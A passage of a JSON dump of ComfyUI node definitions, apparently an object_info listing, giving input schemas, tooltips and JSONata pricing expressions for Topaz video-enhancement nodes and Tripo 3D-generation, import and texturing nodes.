"has_intermediate_output": false}, "TopazVideoEnhance": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_enabled": ["BOOLEAN", {"default": true}], "upscaler_model": ["COMBO", {"multiselect": false, "options": ["Starlight (Astra) Fast", "Starlight (Astra) Creative", "Starlight Precise 2.5"]}], "upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}, "optional": {"upscaler_creativity": ["COMBO", {"tooltip": "Creativity level (applies only to Starlight (Astra) Creative).", "advanced": true, "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}], "interpolation_enabled": ["BOOLEAN", {"default": false}], "interpolation_model": ["COMBO", {"advanced": true, "default": "apo-8", "multiselect": false, "options": ["apo-8"]}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_frame_rate": ["INT", {"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}], "dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "advanced": true, "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_enabled", "upscaler_model", "upscaler_resolution"], "optional": ["upscaler_creativity", "interpolation_enabled", "interpolation_model", "interpolation_slowmo", "interpolation_frame_rate", "interpolation_duplicate", "interpolation_duplicate_threshold", "dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhance", "display_name": "Topaz Video Enhance (Legacy)", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazVideoEnhanceV2": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Astra 2", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["FLOAT", {"tooltip": "Creative strength of the upscale.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.1, "display": "slider"}], "prompt": ["STRING", {"tooltip": "Optional descriptive (not instructive) scene prompt.Capping input at 450 frames (~15s @ 30fps) when set.", "default": "", "multiline": true}], "sharp": ["FLOAT", {"tooltip": "Pre-enhance sharpness: 0.0=Gaussian blur, 0.5=passthrough (default), 1.0=USM sharpening.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "realism": ["FLOAT", {"tooltip": "Pulls output toward photographic realism.Leave at 0 for the model default.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}, {"key": "Starlight (Astra) Fast", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Starlight (Astra) Creative", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["COMBO", {"tooltip": "Creative strength of the upscale.", "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}]}}}, {"key": "Starlight Precise 2.5", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Disabled", "inputs": {"required": {}}}]}], "interpolation_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Disabled", "inputs": {"required": {}}}, {"key": "apo-8", "inputs": {"required": {"interpolation_frame_rate": ["INT", {"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}]}}}]}]}, "optional": {"dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_model", "interpolation_model"], "optional": ["dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhanceV2", "display_name": "Topaz Video Enhance", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscaler_model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscaler_model.upscaler_resolution", "type": "COMBO"}, {"name": "interpolation_model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $model := $lookup(widgets, \"upscaler_model\");\n $res := $lookup(widgets, \"upscaler_model.upscaler_resolution\");\n $interp := $lookup(widgets, \"interpolation_model\");\n $is4k := $contains($res, \"4k\");\n $hasInterp := $interp != \"disabled\";\n $rates := {\n \"starlight (astra) fast\": {\"hd\": 0.43, \"uhd\": 0.85},\n \"starlight precise 2.5\": {\"hd\": 0.70, \"uhd\": 1.54},\n \"astra 2\": {\"hd\": 1.72, \"uhd\": 2.85},\n \"starlight (astra) creative\": {\"hd\": 2.25, \"uhd\": 3.99}\n };\n $surcharge := $is4k ? 0.28 : 0.14;\n $entry := $lookup($rates, $model);\n $base := $is4k ? $entry.uhd : $entry.hd;\n $hi := $base + ($hasInterp ? $surcharge : 0);\n $model = \"disabled\"\n ? {\"type\":\"text\",\"text\":\"Interpolation only\"}\n : ($hasInterp\n ? {\"type\":\"text\",\"text\":\"~\" & $string($base) & \"\u2013\" & $string($hi) & \" credits/src frame\"}\n : {\"type\":\"text\",\"text\":\"~\" & $string($base) & \" credits/src frame\"})\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextToModelNode": {"input": {"required": {"prompt": ["STRING", {"multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"multiline": true}], "model_version": ["COMBO", {"default": "v2.5-20250123", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["prompt"], "optional": ["negative_prompt", "model_version", "style", "texture", "pbr", "image_seed", "model_seed", "texture_seed", "texture_quality", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextToModelNode", "display_name": "Tripo: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 20 : (\n ($withTexture ? 20 : 10)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["model_version", "style", "texture", "pbr", "model_seed", "orientation", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoImageToModelNode", "display_name": "Tripo: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoMultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"image_left": ["IMAGE", {}], "image_back": ["IMAGE", {}], "image_right": ["IMAGE", {}], "model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"tooltip": "This parameter is deprecated and does nothing.", "advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["image_left", "image_back", "image_right", "model_version", "orientation", "texture", "pbr", "model_seed", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoMultiviewToModelNode", "display_name": "Tripo: Multiview to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1TextToModelNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Up to 1024 characters.", "multiline": true}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Up to 255 characters.", "multiline": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "output_mode"], "optional": ["negative_prompt", "image_seed", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1TextToModelNode", "display_name": "Tripo P1: Text to Model", "description": "Tripo P1 text-to-3D. Optimized for low-poly, game-ready meshes with stable topology.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 30 : ($detailed ? 50 : 40); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1ImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"enable_image_autofix": ["BOOLEAN", {"tooltip": "Pre-process the input image for better generation quality.", "advanced": true, "default": false}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["enable_image_autofix", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1ImageToModelNode", "display_name": "Tripo P1: Image to Model", "description": "Tripo P1 image-to-3D. Optimized for low-poly, game-ready meshes.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1MultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Front view (0\u00b0). Required."}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"image_left": ["IMAGE", {"tooltip": "Left view (90\u00b0), i.e. the subject's left side."}], "image_back": ["IMAGE", {"tooltip": "Back view (180\u00b0)."}], "image_right": ["IMAGE", {"tooltip": "Right view (270\u00b0), i.e. the subject's right side."}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["image_left", "image_back", "image_right", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1MultiviewToModelNode", "display_name": "Tripo P1: Multiview to Model", "description": "Tripo P1 multiview-to-3D from 2-4 reference images in [front, left, back, right] order. Front is required; any combination of the other three may be omitted.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImportModelNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D", {"tooltip": "3D model to import (GLB / FBX / OBJ / STL, up to 150 MB). OBJ and STL files carry no embedded textures."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["MODEL_TASK_ID"], "output_is_list": [false], "output_name": ["model task_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoImportModelNode", "display_name": "Tripo: Import Model", "description": "Import an external 3D model (e.g. from Rodin, Hunyuan3D or a local file) into Tripo to use it with Tripo's post-processing nodes: Texture, Rig, Convert. GLB is recommended: textures survive import only when embedded in the file. Note that texturing an imported model requires a texture prompt.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"text\",\"text\":\"Free\"}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextureNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {}]}, "optional": {"texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "texture_prompt": ["STRING", {"tooltip": "Optional text guidance for texturing. Required in practice for imported models (Tripo: Import Model), which carry no source image to infer colors from.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "optional": ["texture", "pbr", "texture_seed", "texture_quality", "texture_alignment", "texture_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextureNode", "display_name": "Tripo: Texture model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $tq := 